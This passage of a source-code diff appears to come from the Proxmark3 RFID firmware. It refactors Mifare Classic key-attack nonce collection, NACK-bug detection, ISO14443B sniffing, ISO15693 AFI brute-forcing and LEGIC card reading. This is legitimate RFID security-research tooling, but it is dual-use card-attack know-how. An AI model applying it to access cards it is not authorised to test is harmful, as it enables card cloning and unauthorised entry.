@ -2720,8 +2929,16 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
if (ReaderReceive(receivedAnswer, receivedAnswerPar))
int resp_res = ReaderReceive(receivedAnswer, receivedAnswerPar);
if (resp_res == 1)
received_nack = true;
else if (resp_res == 4) {
// did we get lucky and got our dummykey to be valid?
// however we dont feed key w uid it the prng..
isOK = -6;
break;
}
// we didn't calibrate our clock yet,
// iceman: has to be calibrated every time.
@ -2842,20 +3059,31 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
mf_nr_ar[3] &= 0x1F;
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requestes: %u", i);
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i);
uint8_t buf[32] = {0x00};
memset(buf, 0x00, sizeof(buf));
num_to_bytes(cuid, 4, buf);
num_to_bytes(nt, 4, buf + 4);
memcpy(buf + 8, par_list, 8);
memcpy(buf + 16, ks_list, 8);
memcpy(buf + 24, mf_nr_ar, 8);
FpgaDisableTracing();
reply_mix(CMD_ACK, isOK, 0, 0, buf, sizeof(buf));
struct {
int32_t isOK;
uint8_t cuid[4];
uint8_t nt[4];
uint8_t par_list[8];
uint8_t ks_list[8];
uint8_t nr[4];
uint8_t ar[4];
} PACKED payload;
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
payload.isOK = isOK;
num_to_bytes(cuid, 4, payload.cuid);
num_to_bytes(nt, 4, payload.nt);
memcpy(payload.par_list, par_list, sizeof(payload.par_list));
memcpy(payload.ks_list, ks_list, sizeof(payload.ks_list));
memcpy(payload.nr, mf_nr_ar, sizeof(payload.nr));
memcpy(payload.ar, mf_nr_ar + 4, sizeof(payload.ar));
reply_ng(CMD_HF_MIFARE_READER, return_status, (uint8_t *)&payload, sizeof(payload));
hf_field_off();
set_tracing(false);
}
@ -2863,7 +3091,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
* Mifare Classic NACK-bug detection
* Thanks to @doegox for the feedback and new approaches.
*/
void DetectNACKbug() {
void DetectNACKbug(void) {
uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B};
uint8_t mf_nr_ar[] = {0, 0, 0, 0, 0, 0, 0, 0};
uint8_t uid[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
@ -2895,6 +3123,8 @@ void DetectNACKbug() {
sync_time = GetCountSspClk() & 0xfffffff8;
LED_C_ON();
uint16_t checkbtn_cnt = 0;
uint16_t i;
for (i = 1; true; ++i) {
@ -2909,16 +3139,20 @@ void DetectNACKbug() {
WDT_HIT();
// Test if the action was cancelled
if (checkbtn_cnt == 1000) {
if (BUTTON_PRESS() || data_available()) {
status = PM3_EOPABORTED;
break;
}
checkbtn_cnt = 0;
}
++checkbtn_cnt;
// this part is from Piwi's faster nonce collecting part in Hardnested.
if (!have_uid) { // need a full select cycle to get the uid first
iso14a_card_select_t card_info;
if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)");
i = 0;
continue;
}
@ -2940,7 +3174,7 @@ void DetectNACKbug() {
have_uid = true;
} else { // no need for anticollision. We can directly select the card
if (!iso14443a_fast_select_card(uid, cascade_levels)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)");
i = 0;
have_uid = false;
continue;
@ -2972,10 +3206,11 @@ void DetectNACKbug() {
// Transmit reader nonce with fake par
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
received_nack = true;
num_nacks++;
// ALWAYS leak Detection.
// ALWAYS leak Detection. Well, we could be lucky and get a response nack on first try.
if (i == num_nacks) {
continue;
}
@ -3085,16 +3320,15 @@ void DetectNACKbug() {
// num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ?
// i = number of authentications sent. Not always 256, since we are trying to sync but close to it.
FpgaDisableTracing();
uint8_t *data = BigBuf_malloc(4);
data[0] = isOK;
data[1] = num_nacks;
num_to_bytes(i, 2, data + 2);
reply_ng(CMD_MIFARE_NACK_DETECT, status, data, 4);
reply_ng(CMD_HF_MIFARE_NACK_DETECT, status, data, 4);
//reply_mix(CMD_ACK, isOK, num_nacks, i, 0, 0);
BigBuf_free();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
hf_field_off();
set_tracing(false);
}

View file

@ -13,21 +13,10 @@
#ifndef __ISO14443A_H
#define __ISO14443A_H
#ifdef __cplusplus
extern "C" {
#endif
#include "common.h"
#include "mifare.h" // struct
#include "pm3_cmd.h"
#include "cmd.h"
#include "apps.h"
#include "util.h"
#include "string.h"
#include "crc16.h"
#include "mifaresniff.h"
#include "crapto1/crapto1.h"
#include "mifareutil.h"
#include "parity.h"
#include "mifare.h" // structs
#include "crc16.h" // compute_crc
// When the PM acts as tag and is receiving it takes
// 2 ticks delay in the RF part (for the first falling edge),
@ -42,11 +31,11 @@ extern "C" {
typedef struct {
enum {
DEMOD_UNSYNCD,
// DEMOD_HALF_SYNCD,
// DEMOD_MOD_FIRST_HALF,
// DEMOD_NOMOD_FIRST_HALF,
DEMOD_MANCHESTER_DATA
DEMOD_14A_UNSYNCD,
// DEMOD_14A_HALF_SYNCD,
// DEMOD_14A_MOD_FIRST_HALF,
// DEMOD_14A_NOMOD_FIRST_HALF,
DEMOD_14A_MANCHESTER_DATA
} state;
uint16_t twoBits;
uint16_t highCnt;
@ -61,7 +50,7 @@ typedef struct {
uint32_t startTime, endTime;
uint8_t *output;
uint8_t *parity;
} tDemod;
} tDemod14a;
/*
typedef enum {
MOD_NOMOD = 0,
@ -73,11 +62,11 @@ typedef enum {
typedef struct {
enum {
STATE_UNSYNCD,
STATE_START_OF_COMMUNICATION,
STATE_MILLER_X,
STATE_MILLER_Y,
STATE_MILLER_Z,
STATE_14A_UNSYNCD,
STATE_14A_START_OF_COMMUNICATION,
STATE_14A_MILLER_X,
STATE_14A_MILLER_Y,
STATE_14A_MILLER_Z,
// DROP_NONE,
// DROP_FIRST_HALF,
} state;
@ -93,7 +82,7 @@ typedef struct {
uint32_t startTime, endTime;
uint8_t *output;
uint8_t *parity;
} tUart;
} tUart14a;
#ifndef AddCrc14A
# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1)
@ -107,14 +96,17 @@ typedef struct {
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
#endif
void iso14a_set_timeout(uint32_t timeout);
uint32_t iso14a_get_timeout(void);
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
tDemod *GetDemod(void);
void DemodReset(void);
void DemodInit(uint8_t *data, uint8_t *par);
tUart *GetUart(void);
void UartReset(void);
void UartInit(uint8_t *data, uint8_t *par);
tDemod14a *GetDemod14a(void);
void Demod14aReset(void);
void Demod14aInit(uint8_t *data, uint8_t *par);
tUart14a *GetUart14a(void);
void Uart14aReset(void);
void Uart14aInit(uint8_t *data, uint8_t *par);
RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time);
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time);
@ -132,6 +124,7 @@ int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, u
int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats);
int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades);
void iso14a_set_trigger(bool enable);
void hf_field_off(void);
int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen);
int EmSend4bit(uint8_t resp);
@ -148,10 +141,8 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start
uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity);
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
void DetectNACKbug();
void DetectNACKbug(void);
#ifdef __cplusplus
}
#endif
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len);
#endif /* __ISO14443A_H */

View file

@ -10,6 +10,20 @@
//-----------------------------------------------------------------------------
#include "iso14443b.h"
#include "proxmark3_arm.h"
#include "common.h" // access to global variable: DBGLEVEL
#include "util.h"
#include "string.h"
#include "crc16.h"
#include "protocols.h"
#include "appmain.h"
#include "BigBuf.h"
#include "cmd.h"
#include "fpgaloader.h"
#include "commonutil.h"
#include "dbprint.h"
#include "ticks.h"
#ifndef FWT_TIMEOUT_14B
// defaults to 2000ms
# define FWT_TIMEOUT_14B 35312
@ -52,7 +66,7 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B;
//=============================================================================
// An ISO 14443 Type B tag. We listen for commands from the reader, using
// a UART kind of thing that's implemented in software. When we get a
// a kind of thing that's implemented in software. When we get a
// frame (i.e., a group of bytes between SOF and EOF), we check the CRC.
// If it's good, then we can do something appropriate with it, and send
// a response.
@ -60,14 +74,14 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B;
//-----------------------------------------------------------------------------
// The software UART that receives commands from the reader, and its state variables.
// The software that receives commands from the reader, and its state variables.
//-----------------------------------------------------------------------------
static struct {
enum {
STATE_UNSYNCD,
STATE_GOT_FALLING_EDGE_OF_SOF,
STATE_AWAITING_START_BIT,
STATE_RECEIVING_DATA
STATE_14B_UNSYNCD,
STATE_14B_GOT_FALLING_EDGE_OF_SOF,
STATE_14B_AWAITING_START_BIT,
STATE_14B_RECEIVING_DATA
} state;
uint16_t shiftReg;
int bitCnt;
@ -77,8 +91,8 @@ static struct {
uint8_t *output;
} Uart;
static void UartReset() {
Uart.state = STATE_UNSYNCD;
static void Uart14bReset() {
Uart.state = STATE_14B_UNSYNCD;
Uart.shiftReg = 0;
Uart.bitCnt = 0;
Uart.byteCnt = 0;
@ -86,9 +100,9 @@ static void UartReset() {
Uart.posCnt = 0;
}
static void UartInit(uint8_t *data) {
static void Uart14bInit(uint8_t *data) {
Uart.output = data;
UartReset();
Uart14bReset();
// memset(Uart.output, 0x00, MAX_FRAME_SIZE);
}
@ -120,7 +134,7 @@ static struct {
} Demod;
// Clear out the state of the "UART" that receives from the tag.
static void DemodReset() {
static void Demod14bReset() {
Demod.state = DEMOD_UNSYNCD;
Demod.bitCount = 0;
Demod.posCount = 0;
@ -133,9 +147,9 @@ static void DemodReset() {
Demod.endTime = 0;
}
static void DemodInit(uint8_t *data) {
static void Demod14bInit(uint8_t *data) {
Demod.output = data;
DemodReset();
Demod14bReset();
// memset(Demod.output, 0x00, MAX_FRAME_SIZE);
}
@ -315,16 +329,16 @@ static void CodeIso14443bAsTag(const uint8_t *cmd, int len) {
*/
static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
switch (Uart.state) {
case STATE_UNSYNCD:
case STATE_14B_UNSYNCD:
if (!bit) {
// we went low, so this could be the beginning of an SOF
Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF;
Uart.state = STATE_14B_GOT_FALLING_EDGE_OF_SOF;
Uart.posCnt = 0;
Uart.bitCnt = 0;
}
break;
case STATE_GOT_FALLING_EDGE_OF_SOF:
case STATE_14B_GOT_FALLING_EDGE_OF_SOF:
Uart.posCnt++;
if (Uart.posCnt == 2) { // sample every 4 1/fs in the middle of a bit
if (bit) {
@ -333,11 +347,11 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
// zeros that it's a valid SOF
Uart.posCnt = 0;
Uart.byteCnt = 0;
Uart.state = STATE_AWAITING_START_BIT;
Uart.state = STATE_14B_AWAITING_START_BIT;
LED_A_ON(); // Indicate we got a valid SOF
} else {
// didn't stay down long enough before going high, error
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
} else {
// do nothing, keep waiting
@ -348,27 +362,27 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
if (Uart.bitCnt > 12) {
// Give up if we see too many zeros without a one, too.
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
break;
case STATE_AWAITING_START_BIT:
case STATE_14B_AWAITING_START_BIT:
Uart.posCnt++;
if (bit) {
if (Uart.posCnt > 50 / 2) { // max 57us between characters = 49 1/fs, max 3 etus after low phase of SOF = 24 1/fs
// stayed high for too long between characters, error
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
} else {
// falling edge, this starts the data byte
Uart.posCnt = 0;
Uart.bitCnt = 0;
Uart.shiftReg = 0;
Uart.state = STATE_RECEIVING_DATA;
Uart.state = STATE_14B_RECEIVING_DATA;
}
break;
case STATE_RECEIVING_DATA:
case STATE_14B_RECEIVING_DATA:
Uart.posCnt++;
if (Uart.posCnt == 2) {
// time to sample a bit
@ -391,30 +405,30 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
if (Uart.byteCnt >= Uart.byteCntMax) {
// Buffer overflowed, give up
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
} else {
// so get the next byte now
Uart.posCnt = 0;
Uart.state = STATE_AWAITING_START_BIT;
Uart.state = STATE_14B_AWAITING_START_BIT;
}
} else if (Uart.shiftReg == 0x000) {
// this is an EOF byte
LED_A_OFF(); // Finished receiving
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
if (Uart.byteCnt != 0)
return true;
} else {
// this is an error
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
}
break;
default:
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
break;
}
return false;
@ -454,7 +468,7 @@ static int GetIso14443bCommandFromReader(uint8_t *received, uint16_t *len) {
}
*/
// Now run a `software UART' on the stream of incoming samples.
UartInit(received);
Uart14bInit(received);
uint8_t mask;
while (!BUTTON_PRESS()) {
@ -621,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) {
// find reader field
if (cardSTATE == SIM_NOFIELD) {
#if defined RDV4
vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
#else
vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
#endif
if (vHf > MF_MINFIELDV) {
cardSTATE = SIM_IDLE;
LED_A_ON();
@ -949,7 +968,7 @@ static void GetTagSamplesFor14443bDemod() {
BigBuf_free();
// Set up the demodulator for tag -> reader responses.
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
// The DMA buffer, used to stream samples from the FPGA
int8_t *dmaBuf = (int8_t *) BigBuf_malloc(ISO14443B_DMA_BUFFER_SIZE);
@ -1151,6 +1170,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r
CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no
// get response
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len < 3)
return 0;
@ -1177,6 +1199,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx));
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len == 0)
return 2;
@ -1190,6 +1213,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx));
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len != 3)
return 2;
@ -1208,6 +1232,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
AddCrc14B(select_srx, 1);
CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len != 10)
return 2;
@ -1239,6 +1264,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
// first, wake up the tag
CodeAndTransmit14443bAsReader(wupb, sizeof(wupb));
GetTagSamplesFor14443bDemod(); //select_card
FpgaDisableTracing();
// ATQB too short?
if (Demod.len < 14)
@ -1263,6 +1289,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(attrib, sizeof(attrib));
GetTagSamplesFor14443bDemod();//select_card
FpgaDisableTracing();
// Answer to ATTRIB too short?
if (Demod.len < 3)
@ -1306,8 +1333,8 @@ void iso14443b_setup() {
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// Initialize Demod and Uart structs
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
UartInit(BigBuf_malloc(MAX_FRAME_SIZE));
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
// connect Demodulated Signal to ADC:
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
@ -1339,6 +1366,7 @@ static bool ReadSTBlock(uint8_t block) {
AddCrc14B(cmd, 2);
CodeAndTransmit14443bAsReader(cmd, sizeof(cmd));
GetTagSamplesFor14443bDemod();
FpgaDisableTracing();
// Check if we got an answer from the tag
if (Demod.len != 6) {
@ -1411,8 +1439,8 @@ static void iso1444b_setup_sniff(void) {
set_tracing(true);
// Initialize Demod and Uart structs
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
UartInit(BigBuf_malloc(MAX_FRAME_SIZE));
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
if (DBGLEVEL > 1) {
// Print debug information about the buffer sizes
@ -1502,8 +1530,8 @@ void RAMFUNC SniffIso14443b(void) {
if (Handle14443bReaderUartBit(ci & 0x01)) {
time_stop = GetCountSspClk() - time_0;
LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true);
UartReset();
DemodReset();
Uart14bReset();
Demod14bReset();
} else {
time_start = GetCountSspClk() - time_0;
}
@ -1511,12 +1539,12 @@ void RAMFUNC SniffIso14443b(void) {
if (Handle14443bReaderUartBit(cq & 0x01)) {
time_stop = GetCountSspClk() - time_0;
LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true);
UartReset();
DemodReset();
Uart14bReset();
Demod14bReset();
} else {
time_start = GetCountSspClk() - time_0;
}
ReaderIsActive = (Uart.state > STATE_GOT_FALLING_EDGE_OF_SOF);
ReaderIsActive = (Uart.state > STATE_14B_GOT_FALLING_EDGE_OF_SOF);
}
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
@ -1527,8 +1555,8 @@ void RAMFUNC SniffIso14443b(void) {
if (Handle14443bTagSamplesDemod(ci, cq)) {
time_stop = GetCountSspClk() - time_0;
LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false);
UartReset();
DemodReset();
Uart14bReset();
Demod14bReset();
} else {
time_start = GetCountSspClk() - time_0;
}
@ -1588,7 +1616,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) {
iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
status = iso14443b_select_card(card);
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen);
reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
// 0: OK 2: attrib fail, 3:crc fail,
if (status > 0) goto out;
}
@ -1596,14 +1624,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) {
iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
status = iso14443b_select_srx_card(card);
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen);
reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
// 0: OK 2: demod fail, 3:crc fail,
if (status > 0) goto out;
}
if ((param & ISO14B_APDU) == ISO14B_APDU) {
status = iso14443b_apdu(cmd, len, buf);
reply_old(CMD_ACK, status, status, 0, buf, status);
reply_mix(CMD_ACK, status, status, 0, buf, status);
}
if ((param & ISO14B_RAW) == ISO14B_RAW) {
@ -1614,6 +1642,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
CodeAndTransmit14443bAsReader(cmd, len); // raw
GetTagSamplesFor14443bDemod(); // raw
FpgaDisableTracing();
sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE);
status = (Demod.len > 0) ? 0 : 1;

View file

@ -13,18 +13,10 @@
#ifndef __ISO14443B_H
#define __ISO14443B_H
#ifdef __cplusplus
extern "C" {
#endif
#include "common.h"
#include "proxmark3.h"
#include "common.h" // access to global variable: DBGLEVEL
#include "apps.h"
#include "util.h"
#include "string.h"
#include "crc16.h"
#include "mifare.h"
#include "protocols.h"
#include "pm3_cmd.h"
#ifndef AddCrc14A
# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1)
@ -34,12 +26,18 @@ extern "C" {
# define AddCrc14B(data, len) compute_crc(CRC_14443_B, (data), (len), (data)+(len), (data)+(len)+1)
#endif
void SendRawCommand14443B_Ex(PacketCommandNG *c);
void iso14443b_setup();
uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *response);
uint8_t iso14443b_select_card(iso14b_card_select_t *card);
uint8_t iso14443b_select_card_srx(iso14b_card_select_t *card);
void SimulateIso14443bTag(uint32_t pupi);
void AcquireRawAdcSamplesIso14443b(uint32_t parameter);
void ReadSTMemoryIso14443b(uint8_t numofblocks);
void RAMFUNC SniffIso14443b(void);
void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]);
void SendRawCommand14443B_Ex(PacketCommandNG *c);
// testfunctions
void WaitForFpgaDelayQueueIsEmpty(uint16_t delay);
void ClearFpgaShiftingRegisters(void);
@ -53,8 +51,4 @@ void ClearFpgaShiftingRegisters(void);
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#ifdef __cplusplus
}
#endif
#endif /* __ISO14443B_H */

View file

@ -32,8 +32,8 @@
//
// VICC (tag) -> VCD (reader)
// Modulation:
// ASK / one subcarrier (423,75 khz)
// FSK / two subcarriers (423,75 khz && 484,28 khz)
// ASK / one subcarrier (423,75 kHz)
// FSK / two subcarriers (423,75 kHz && 484,28 kHz)
// Data Rates / Modes:
// low ASK: 6,62 kbit/s
// low FSK: 6.67 kbit/s
@ -58,12 +58,20 @@
// *) remove or refactor code under "depricated"
// *) document all the functions
#include "proxmark3.h"
#include "iso15693.h"
#include "proxmark3_arm.h"
#include "util.h"
#include "apps.h"
#include "string.h"
#include "iso15693tools.h"
#include "cmd.h"
#include "appmain.h"
#include "dbprint.h"
#include "fpgaloader.h"
#include "commonutil.h"
#include "ticks.h"
#include "BigBuf.h"
#include "crc16.h"
///////////////////////////////////////////////////////////////////////
// ISO 15693 Part 2 - Air Interface
@ -85,8 +93,6 @@
#define CheckCrc15(data, len) check_crc(CRC_15693, (data), (len))
#define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1)
#define sprintUID(target,uid) Iso15693sprintUID((target), (uid))
static void BuildIdentifyRequest(uint8_t *cmdout);
//static void BuildReadBlockRequest(uint8_t *cmdout, uint8_t *uid, uint8_t blockNumber );
static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid);
@ -695,7 +701,7 @@ static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid) {
// speed ... 0 low speed, 1 hi speed
// **recv will return you a pointer to the received data
// If you do not need the answer use NULL for *recv[]
// return: lenght of received data
// return: length of received data
// logging enabled
int SendDataTag(uint8_t *send, int sendlen, bool init, int speed, uint8_t *outdata) {
@ -758,7 +764,7 @@ void DbdecodeIso15693Answer(int len, uint8_t *d) {
strncat(status, "0F: no info", DBD15STATLEN - strlen(status));
break;
case 0x10:
strncat(status, "10: dont exist", DBD15STATLEN - strlen(status));
strncat(status, "10: don't exist", DBD15STATLEN - strlen(status));
break;
case 0x11:
strncat(status, "11: lock again", DBD15STATLEN - strlen(status));
@ -921,6 +927,7 @@ void BruteforceIso15693Afi(uint32_t speed) {
uint8_t buf[ISO15_MAX_FRAME];
memset(buf, 0x00, sizeof(buf));
int datalen = 0, recvlen = 0;
bool aborted = false;
Iso15693InitReader();
@ -929,16 +936,15 @@ void BruteforceIso15693Afi(uint32_t speed) {
data[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1;
data[1] = ISO15_CMD_INVENTORY;
data[2] = 0; // mask length
data[2] = 0; // AFI
AddCrc15(data, 3);
datalen += 2;
datalen = 5;
recvlen = SendDataTag(data, datalen, false, speed, buf);
WDT_HIT();
if (recvlen >= 12) {
Dbprintf("NoAFI UID = %s", sprintUID(NULL, buf + 2));
Dbprintf("NoAFI UID = %s", iso15693_sprintUID(NULL, buf + 2));
}
// now with AFI
@ -947,17 +953,21 @@ void BruteforceIso15693Afi(uint32_t speed) {
data[2] = 0; // AFI
data[3] = 0; // mask length
// 4 + 2crc
datalen = 6;
for (uint16_t i = 0; i < 256; i++) {
data[2] = i & 0xFF;
AddCrc15(data, 4);
datalen += 2;
recvlen = SendDataTag(data, datalen, false, speed, buf);
WDT_HIT();
if (recvlen >= 12) {
Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2));
Dbprintf("AFI = %i UID = %s", i, iso15693_sprintUID(NULL, buf + 2));
}
if (BUTTON_PRESS()) {
aborted = BUTTON_PRESS();
if (aborted) {
DbpString("button pressed, aborting..");
break;
}
@ -965,6 +975,12 @@ void BruteforceIso15693Afi(uint32_t speed) {
DbpString("AFI Bruteforcing done.");
switch_off();
if (aborted) {
reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0);
} else {
reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0);
}
}
// Allows to directly send commands to the tag via the client

26
armsrc/iso15693.h Normal file
View file

@ -0,0 +1,26 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __ISO15693_H
#define __ISO15693_H
#include "common.h"
#include "pm3_cmd.h" // struct
void RecordRawAdcSamplesIso15693(void);
void AcquireRawAdcSamplesIso15693(void);
void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg
void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg
void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox
void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox
void Iso15693InitReader(void);
#endif

View file

@ -7,7 +7,7 @@
Linker script for the ARM binary
-----------------------------------------------------------------------------
*/
INCLUDE ../common/ldscript.common
INCLUDE ../common_arm/ldscript.common
PHDRS
{

View file

@ -11,11 +11,20 @@
//-----------------------------------------------------------------------------
#include "legicrf.h"
#include "ticks.h" /* timers */
#include "crc.h" /* legic crc-4 */
#include "legic_prng.h" /* legic PRNG impl */
#include "legic.h" /* legic_card_select_t struct */
#include "proxmark3_arm.h"
#include "cmd.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "string.h"
#include "protocols.h"
static uint8_t *legic_mem; /* card memory, used for read, write */
static legic_card_select_t card;/* metadata of currently selected card */
static crc_t legic_crc;
@ -395,6 +404,10 @@ bool write_byte(uint16_t index, uint8_t byte, uint8_t addr_sz) {
//
// Only this functions are public / called from appmain.c
//-----------------------------------------------------------------------------
legic_card_select_t* getLegicCardInfo(void) {
return &card;
}
void LegicRfInfo(void) {
// configure ARM and FPGA
init_reader(false);
@ -432,6 +445,44 @@ OUT:
StopTicks();
}
int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv) {
int res = PM3_SUCCESS;
// configure ARM and FPGA
init_reader(false);
// establish shared secret and detect card type
uint8_t card_type = setup_phase(iv);
if (init_card(card_type, &card) != 0) {
res = PM3_ESOFT;
goto OUT;
}
// do not read beyond card memory
if (len + offset > card.cardsize) {
len = card.cardsize - offset;
}
for (uint16_t i = 0; i < len; ++i) {
int16_t byte = read_byte(offset + i, card.cmdsize);
if (byte == -1) {
res = PM3_EOVFLOW;
goto OUT;
}
legic_mem[i] = byte;
if (i < 4) {
card.uid[i] = byte;
}
}
OUT:
switch_off();
StopTicks();
return res;
}
void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) {
// configure ARM and FPGA
init_reader(false);
@ -455,6 +506,10 @@ void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) {
goto OUT;
}
legic_mem[i] = byte;
if (i < 4) {
card.uid[i] = byte;
}
}
// OK

View file

@ -1,6 +1,7 @@
//-----------------------------------------------------------------------------
